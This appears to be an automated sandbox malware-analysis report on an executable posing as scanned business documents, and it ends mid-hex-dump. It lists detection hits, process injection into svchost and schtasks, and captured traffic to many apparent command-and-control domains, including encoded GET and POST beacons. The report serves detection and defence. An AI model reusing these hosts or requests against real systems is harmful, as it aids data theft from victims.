Windows Analysis Report
Scanned Docs from Emnes Metal Sdn Bhd_.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1950883710.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4110797200.0000000002B10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111043032.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951519783.0000000003F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.4111935021.0000000003C90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.4111848670.0000000003200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4113899205.0000000004AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1951562901.0000000004990000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Joe Sandbox ML: detected

Source: Scanned Docs from Emnes Metal Sdn Bhd_.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: schtasks.pdb source: svchost.exe, 00000001.00000003.1919524011.000000000361A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919657751.0000000003649000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015BB000.00000004.00000001.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015E4000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: MHFAGZiftf.exe, 00000003.00000002.4110802051.000000000021E000.00000002.00000001.01000000.00000005.sdmp, MHFAGZiftf.exe, 00000007.00000000.2021295588.000000000021E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655348276.0000000003730000.00000004.00001000.00020000.00000000.sdmp, Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655471454.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1853902441.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1851162976.0000000003800000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1951317071.000000000332F000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.0000000003680000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.000000000381E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1953664932.00000000034D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655348276.0000000003730000.00000004.00001000.00020000.00000000.sdmp, Scanned Docs from Emnes Metal Sdn Bhd_.exe, 00000000.00000003.1655471454.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000002.1951185289.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1853902441.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1951185289.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1851162976.0000000003800000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, schtasks.exe, 00000004.00000003.1951317071.000000000332F000.00000004.00000020.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.0000000003680000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000002.4112132939.000000000381E000.00000040.00001000.00020000.00000000.sdmp, schtasks.exe, 00000004.00000003.1953664932.00000000034D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: schtasks.exe, 00000004.00000002.4112702566.0000000003CAC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4111169499.0000000003113000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000026AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2240961982.000000000199C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: schtasks.pdbGCTL source: svchost.exe, 00000001.00000003.1919524011.000000000361A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1919657751.0000000003649000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015BB000.00000004.00000001.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000003.00000003.2203925940.00000000015E4000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: schtasks.exe, 00000004.00000002.4112702566.0000000003CAC000.00000004.10000000.00040000.00000000.sdmp, schtasks.exe, 00000004.00000002.4111169499.0000000003113000.00000004.00000020.00020000.00000000.sdmp, MHFAGZiftf.exe, 00000007.00000002.4112168789.00000000026AC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2240961982.000000000199C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002EDBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_002EDBBE
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F68EE FindFirstFileW,FindClose,	0_2_002F68EE
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_002F698F
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002ED076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_002ED076
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002ED3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_002ED3A9
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_002F9642
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_002F979D
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_002F9B2B
Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe	Code function: 0_2_002F5C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_002F5C97
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4_2_02B2BAB0 FindFirstFileW,FindNextFileW,FindClose,	4_2_02B2BAB0

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then xor esi, esi	1_2_004182BA
Source: C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe	Code function: 4x nop then xor esi, esi	3_2_03E9C195
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then xor eax, eax	4_2_02B19720
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then xor esi, esi	4_2_02B24C57
Source: C:\Windows\SysWOW64\schtasks.exe	Code function: 4x nop then mov ebx, 00000004h	4_2_03320548

Source: Joe Sandbox View	IP Address: 217.116.0.191 217.116.0.191
Source: Joe Sandbox View	IP Address: 76.223.67.189 76.223.67.189

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Scanned Docs from Emnes Metal Sdn Bhd_.exe

Code function: 0_2_002FCE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

0_2_002FCE44

Source: global traffic	HTTP traffic detected: GET /toda/?GTP=uhqpjxIPh&efM=obOL9JCgNxwS4++cuMdB8oKy9gH02j2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPeZjD4+ekebMUnDMBnOUVwsozzcXjkZdwt+Kw= HTTP/1.1Host: www.stemfiniti.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /pjmu/?efM=zh3d17Jww7lUdSTn18h3AW52xQeHiultGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GYgJ6QddEnX3CYXXMD+mGHjpcx+XzQAKiSmY=&GTP=uhqpjxIPh HTTP/1.1Host: www.zhuan-tou.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /7ffx/?GTP=uhqpjxIPh&efM=bNQ0/ONSUiz8CveulmeeGbtq+RYAIRndZ9NU1FoLXha3tv70s5bqu4Q6Bv5eGpaoTDYvbrT1RjV74F6wZTVOAhq5NAvf33Q9AnwF2+P6bz1BMUvu37pM7qc= HTTP/1.1Host: www.lecoinsa.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /1nsp/?efM=6szqGuj1zCBS7eEVX649iJVBUL/fWzE2u/M2YSpUojnZUd8wkmCllhvxE7Evl1FAmV96l4GO8z837fuNk080Ir9qaLZUnG7yNOEpMTkzRXgFx77GcbRli0I=&GTP=uhqpjxIPh HTTP/1.1Host: www.8xbe578.appAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8unq/?GTP=uhqpjxIPh&efM=RkvL3PdT4df/OPkNHI4HmdhQbyPIEJeZ27MerosBZGKwWjBg2nbmkc0XZ9UwXf1WVngj3AiTKIg7OIM24x6mviVClJubTHF4ksIetQZZ+rgXL6Dldbwq0cw= HTTP/1.1Host: www.synergon.spaceAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /7ie4/?efM=dUG4+DDdp/sjDloXxs11bKdjpfE9KTK2XiMiOZkD44FSjL1BUJC0B7Zb9pCmeCfVXkmAFvPPogGRRoivKVhLz246S+DRLpxSbmoiTCF0OJgE4T3/Jv+1c2k=&GTP=uhqpjxIPh HTTP/1.1Host: www.alanbeanart.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /rdfm/?GTP=uhqpjxIPh&efM=wrkGspiQ383g8BvQawprffb7FcgpmXJxXTgxDOVN343rP+tlYZO/fXuOHfGNTjam/0/D7Ya5sDuP+VmElkMvZFoLMOaF6UBG/sMUSe6LmxyUxmV5i7nd1eA= HTTP/1.1Host: www.kacotae.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /irn0/?efM=rkk12BbGqxBZ8yyVdqr4fumsqySnbS/TKAT51RD3LUS3uLR6Pe1z8Bplr8mj2yMFe4BX6hO/FEyyRDMjbgdycpy6GTweDeod91OQcupKfuQbLLwzDVUdZDA=&GTP=uhqpjxIPh HTTP/1.1Host: www.slushcafe.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /mpex/?GTP=uhqpjxIPh&efM=Zb/vXsPYNAfjWKU5b+Nt30TyxsxOl11zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3DCw+G1Vpb7KEKzC8l577KkftecMR999sDYI= HTTP/1.1Host: www.a9jcpf.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /zjwj/?efM=nHLCZn8vN2ArVDTtuX5SJ0P/P5D3rwrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZBj+QLQEglA9+lHyHnT+4OAarv/Cw0xbxNAM=&GTP=uhqpjxIPh HTTP/1.1Host: www.tqfabxah.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /l2ei/?GTP=uhqpjxIPh&efM=2NxpSnefRSOpgA+BoOniz/1uTtrxzrfiLmMZXjpfeHguawaVYOMhehQzwyXJSn5dNV3paxCkLfqDWT9yLxINxooKAGgJDCdVs948iDsg681FEAENC5VGkiM= HTTP/1.1Host: www.rtrpodcast.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /jda9/?GTP=uhqpjxIPh&efM=34snQIO0a+qzYlkt+6IEft1gxD/ZK6L7qOToIJHZshoLhvuGziw8TW5Od2ToMUc/iXvMW07TMOYG4pWJ/ehZbdqmuEYhDCzj/N3rZv+VTG2UiN/ilnh8230= HTTP/1.1Host: www.mqmsqkw.lolAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /yxos/?efM=GsI4mtIQVr1bqd+V/1qEiGWG2JWSdng8JQsV9k25RNexwN7KNHOmJ2uIpR4VD7Ui+v6cwkDz1p2XqdzqrAR32o8KijRXgfnfSTbVFHsQqIz2A3ZpJ0HUFH4=&GTP=uhqpjxIPh HTTP/1.1Host: www.lfghtko.lolAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,enConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Source: global traffic	DNS traffic detected: DNS query: www.stemfiniti.com
Source: global traffic	DNS traffic detected: DNS query: www.zhuan-tou.com
Source: global traffic	DNS traffic detected: DNS query: www.lecoinsa.net
Source: global traffic	DNS traffic detected: DNS query: www.8xbe578.app
Source: global traffic	DNS traffic detected: DNS query: www.synergon.space
Source: global traffic	DNS traffic detected: DNS query: www.alanbeanart.com
Source: global traffic	DNS traffic detected: DNS query: www.kacotae.com
Source: global traffic	DNS traffic detected: DNS query: www.slushcafe.top
Source: global traffic	DNS traffic detected: DNS query: www.a9jcpf.top
Source: global traffic	DNS traffic detected: DNS query: www.tqfabxah.com
Source: global traffic	DNS traffic detected: DNS query: www.rtrpodcast.online
Source: global traffic	DNS traffic detected: DNS query: www.winkthree.com
Source: global traffic	DNS traffic detected: DNS query: www.mqmsqkw.lol
Source: global traffic	DNS traffic detected: DNS query: www.lfghtko.lol

Source: unknown

HTTP traffic detected: POST /pjmu/ HTTP/1.1Host: www.zhuan-tou.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,enOrigin: http://www.zhuan-tou.comReferer: http://www.zhuan-tou.com/pjmu/Content-Length: 200Content-Type: application/x-www-form-urlencodedConnection: closeCache-Control: no-cacheUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31Data Raw: 65 66 4d 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 54 72 59 7a 4e 41 32 41 32 31 33 7a 6b 79 64 76 4b 35 73 43 77 5a 4a 65 52 53 6c 66 48 38 59 4b 59 61 48 45 4a 33 39 55 47 4c 31 6a 59 68 30 4e 32 4e 48 42 38 52 5a 77 74 68 2f 4f 73 4b 44 7a 50 4c 71 78 30 72 45 5a 68 38 4e 55 75 39 46 68 6c 66 4b 56 47 36 61 4d 35 79 38 43 67 6c 47 31 39 2f 7a 47 69 4b 6d 41 6c 52 38 57 56 67 2f 2f 42 6f 39 47 37 58 4b 56 6e 4d 59 4b 56 56 56 62 5a 2b 34 34 31 58 72 48 7a 4a 69 57 37 49 69 70 4c 7a 72 61 65 66 2b 54 6f 66 56 72 4c 5a 67 6d 65 56 58 52 43 4a 70 45 55 6f 51 31 65 5a 38 54 30 78 32 59 67 3d 3d Data Ascii: efM=+jf92ON16YkIfTrYzNA2A213zkydvK5sCwZJeRSlfH8YKYaHEJ39UGL1jYh0N2NHB8RZwth/OsKDzPLqx0rEZh8NUu9FhlfKVG6aM5y8CglG19/zGiKmAlR8WVg//Bo9G7XKVnMYKVVVbZ+441XrHzJiW7IipLzraef+TofVrLZgmeVXRCJpEUoQ1eZ8T0x2Yg==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 05 Aug 2024 13:31:35 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 05 Aug 2024 13:31:37 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 05 Aug 2024 13:31:40 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 